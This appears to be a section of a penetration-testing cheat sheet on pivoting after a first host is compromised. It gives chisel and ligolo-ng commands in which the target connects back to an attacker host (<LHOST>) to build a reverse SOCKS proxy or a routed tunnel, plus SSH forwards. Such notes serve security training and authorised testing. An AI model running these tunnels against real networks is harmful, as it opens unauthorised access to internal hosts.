Lateral Movement & Pivoting
Reaching the hosts you cannot route to, a tunnel through the foothold, then run the AD tooling as if you were on the internal network.
Once one host is owned, reach the ones you cannot route to. A tunnel through the foothold, then run the AD tooling from the previous sections as if you were on the internal network.
Tunnels & SOCKS proxies#
chisel for a quick reverse SOCKS proxy, ligolo-ng for a cleaner tun-based pivot, plain ssh forwards when you already have credentials.
bash
# chisel: reverse SOCKS proxy back through the foothold
./chisel server -p 8000 --reverse # attacker
./chisel client <LHOST>:8000 R:socks # target
# then prefix internal commands with proxychains
# ligolo-ng: cleaner tun-based pivot
sudo ./proxy -selfcert # attacker
./agent --connect <LHOST>:11601 -ignore-cert # target (Linux)
.\agent.exe -connect <LHOST>:11601 -ignore-cert # target (Windows)
# inside the ligolo console: pick the session, start the tunnel, then route
# the internal subnet through the ligolo interface back on the attacker
ligolo-ng » session # select the agent
[Agent] » start # bring the tunnel up
sudo ip route add 172.16.0.0/24 dev ligolo # attacker: route the subnet
# plain ssh port-forward when you have ssh creds
ssh -L 8080:127.0.0.1:8080 <user>@<IP> # local forward
ssh -D 1080 <user>@<IP> # dynamic SOCKS